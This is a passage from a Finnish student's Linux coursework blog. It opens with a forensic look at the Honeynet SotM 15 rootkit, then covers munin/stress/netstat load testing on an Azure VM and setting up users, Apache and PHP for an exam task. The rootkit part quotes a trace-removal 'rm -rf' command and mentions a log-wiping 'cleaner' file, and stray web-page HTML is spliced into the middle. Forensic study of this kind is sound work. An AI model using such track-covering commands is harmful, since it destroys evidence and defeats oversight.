tulostavat computer tietoja ja lähettävät sähköpostia näihin osoiteisiin.

viimeinen rivi:

rm -rf last lk.tgz computer lk.tar.gz

poistaa kansion last ja tiedostot lk.tgz, lk.tar.gz, computer

eli peittää jäljet.

 

less cleaner

Screenshot - 6.png

tämä tiedosto ilmeisesti poistaa jäljet lokeista…..

Lähteet:

http://old.honeynet.org/scans/scan15/

http://www.sleuthkit.org/sleuthkit/man/fls.html

http://www.sleuthkit.org/sleuthkit/man/tsk_recover.html

http://www.cyberciti.biz/faq/tar-extract-linux/

https://jukkapentti.wordpress.com/2013/01/28/scan-of-the-month-15-rootkit/

https://vihonenl.wordpress.com/linux-palvelimena/

http://www.sleuthkit.org/case/sotm_15/

 

Tehtävä 2 – Kuormitustietoja

– Kerää kuormitustietoja munin -ohjelmalla
– Kuormita konetta stress:llä
– Käytä tunnilla käytyjä työkaluja arvioidaksesi kuormitusta: cpu, mem, io…
– Lopuksi analysoi munin keräämiä käyriä
– Aiheuta valitsemaasi lokiin muutamia rivejä ja analysoi niistä 2-3 riviä perusteellisest

 

Työskentelyympäristön vaihto – Linux virtuaalikone MS Azure Iaas pilvissä:

Kesällä suoritin Cloud Services kurssia jossa olen tutustunut Microsoft Azuren IaaS ratkaisuihin. Käytin Windos Server 2012 virtuaalikonetta projektin suorittamiseen. Nyt on hyvää tilaisuus tutustua Linux palvelimiin SSH etähallinalla koska ymmärsin että käytämme töyskentelyyn komentokehotetta.

Olen luonnut Microsoft Azuren virtuaalikoneseen asennettua Ubuntu 16.04 LTS johon saa kätevästi yhteyttä SSH:lla. Virtuaalikonen koko on A1 Standard (1 core, 1,75GB RAM, 40GB HDD). Järjestelmä on luonut virtuaaliverkon, antanut konelle public IP osoite ja avannut Endpoint (portti) 22 SSh yhteyttä varten. Samalla on perustettu“Network Security Group” jossa määritellään virtuaaliverkon parametrit. Data Center valintani on “West Europe” (Alankomaat) koska niin voidaan tarvittaessa käsitellä ja säilyttää EU:n kansallaisten henkilötietoja lainsäädäntön vaatimalla tavalla (EU:n .

sudo apt-get update – päivitin Ubuntun

sudo apt-get-install munin – käynisti munin asennuksen, valmis

sudo apt-get-install stress – käynisti stressin asennuksen, valmis

 

Kokeilen ensin netstatin käyttöä.

netstat -? tai -help antoi

netstat -pea  -inet (ei näy kaikki tietoja ilman root oikeuksia)

 

netstat -inet    näytti “Kernel Interface table”asetukset korteille: eth0 & lo(loopback)

sudo netstat -pea  (yhdistelmä)

  • -p, –programs           display PID/Program name for sockets
  • -e, –extend             display other/more information
  • -a, –all, –listening   display all sockets (default: connected)

 

-a  eli all näyttää”Active Connections” luettelon yhteyksistä, joista näytti:

  • käyttävän protokollan  – käytetyt osoiteet  (lähtöosoite:porti & kohdeosoite:portti)
  • yhteyden nykytilan (Listen/Time_WAIT/Established)
  • yhteyden omistajan (root/syslog).
MUNIN:
NAME
       munin - Munin manpage hub

DESCRIPTION
       Munin is a group of programs to gather data from hosts, graph them,
       create html-pages, and optionally warn contacts about any off-limit
       values.

       The Munin master contains the following programs:
        munin-update - to gather data from machines running munin-node.
        munin-graph  - to create graphs from data contained in rrd-files.
        munin-limits - to check for any off-limit values.
        munin-html   - to draw html-pages on an Munin installation
        munin-cron   - to batch other munin programs

 

Jatkan Tehtävä 2 loppuun maanantaina 5.9.2016, kuitenkin ennen seuraavan tunnin alkua.

 

 

Tehtävä 1 – Karttakatu Oy

Tehtäväksi valitsin seuraava koe:

http://terokarvinen.com/2012/linux-koe-tyoasemat-ja-tietoverkot-25

Me Karttakatu Oy:ssä teemme karttoihin liittyviä weppisovelluksia. Olemme muutaman hengen yritys.

Asenna työasema, jolla tavallisimmat toimistotyöt onnistuvat (weppisurffailu, tekstinkäsittely). (Asentuessa voit käydä kommentoimassa kavereiden blogeja).

Työntekijämme ovat Einari Vähäkäähkä, Pekka Winha, Åke Andersson ja Leila Laila. He haluavat kehittää PHP-kotisivuja etäkäyttöyhteydellä. Asenna tarvittavat palvelut ja tee esimerkkisivut.

Asenna kaikkien käyttäjien käyttöön skripti (shell script) nimeltä “mystatus”, joka näyttää vapaan levytilan (df -h) ja koneen ip-osoitteen.

Tähtäätkö huipputulokseen? Pekka Winha haluaa käyttää MySQL tietokantaa. Asenna hänelle MySQL-tietokanta ja siihen PhpMyAdmin-weppiliittymä.

 

Ratkaisu:

Olen asentanut labrassa 5004 koneseen Xubuntu 14.04 Live USB-tikulta. Asennus sujui hyvin.

sitten päivitetään pakettihallinta komennolla:

sudo apt-get update

pitää asentaa ssh-server ja luoda käyttäjät, seurava komento on:

sudo apt-get install openssh-server

Terminal näytti kuinka paljon tilaa ssh-server vie ja kysyi vahvistusta.

Hetken päästä asennus on valmis.

Seuraavaksi olen luonnut käyttäjä pekka komennolla:

sudo adduser pekka

asennus kysyi pekalle salasanan,

Full name: Pekka Winha,

muut tiedot jätin tyhjänä.

Samoin tein muille käyttäjille: Einari Vähäkäähkä, Åke Andersson ja Leila Laila

sudo adduser einari

sudo adduser ake

sudo adduser leila

tarkistin:

ssh ake@localhost

annoin salasanan ja rudulle imestyi

ake@hp:¨~$

tämä tarkoittaa että ake on kirjautunut ssh palvelimelle koneseen hp.

Konennolla exit olen sulkenut yhteyden.

Seuravaaksi pitää asentaa Apache, MySQL, PHP

sudo apt-get install apache2

Asennuksen jälkeen tarkistin web selaimessa:

http://localhost

Tuli Apache2 Ubuntu Default Page -sivu. Apache toimii.

Avasin käyttäjille kotisivuhakemiston sallituksi

sudo a2enmod userdir

Käynistin apache uudelleen.

service apache2 restart                       FAIL

unohdin laittaa sudo eteen.

sudo service apache2 restart              OK

Seuravaksi asensin PHP

sudo apt-get install php5

Muokkasin “configuration” tiedostoa

/etc/apache2/mods-enabled/php5.conf

Tässä julkaisen Puppet Manifestit ja Moduulit: https://github.com/xelsinki/puppet

<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-1/">Tehtävä 1</a></p>
<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-2/">Tehtävä 2</a></p>
<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-3/">Tehtävä 3</a></p>
<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-4/">Tehtävä 4</a></p>
<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-5/">Tehtävä 5</a></p>
<p><a href="http://gomummi.com/index.php/2016/12/13/tehtava-6-oma-puppet-moduli/">Tehtävä 6 – Puppet module</a></p>
<p> </p>
</div>
” data-medium-file=”” data-large-file=”” class=”alignnone size-full wp-image-80″ src=”https://pantsesnyi.files.wordpress.com/2016/04/screenshot-30-08-2016-11-44-40.png?w=720″ alt=”Screenshot – 30.08.2016 – 11.44.40″ data-recalc-dims=”1″ />

Käynistinapache uudelleen

sudo service apache2 restart

Seuraavaksi:

sudo apt-get install mysql-server phpadmin

klo 11.53 Seuraava tunti alkaa. Jatkan vielä….

 

 

 

Lähteet:

VIHONENL: https://vihonenl.wordpress.com/linux-palvelimena/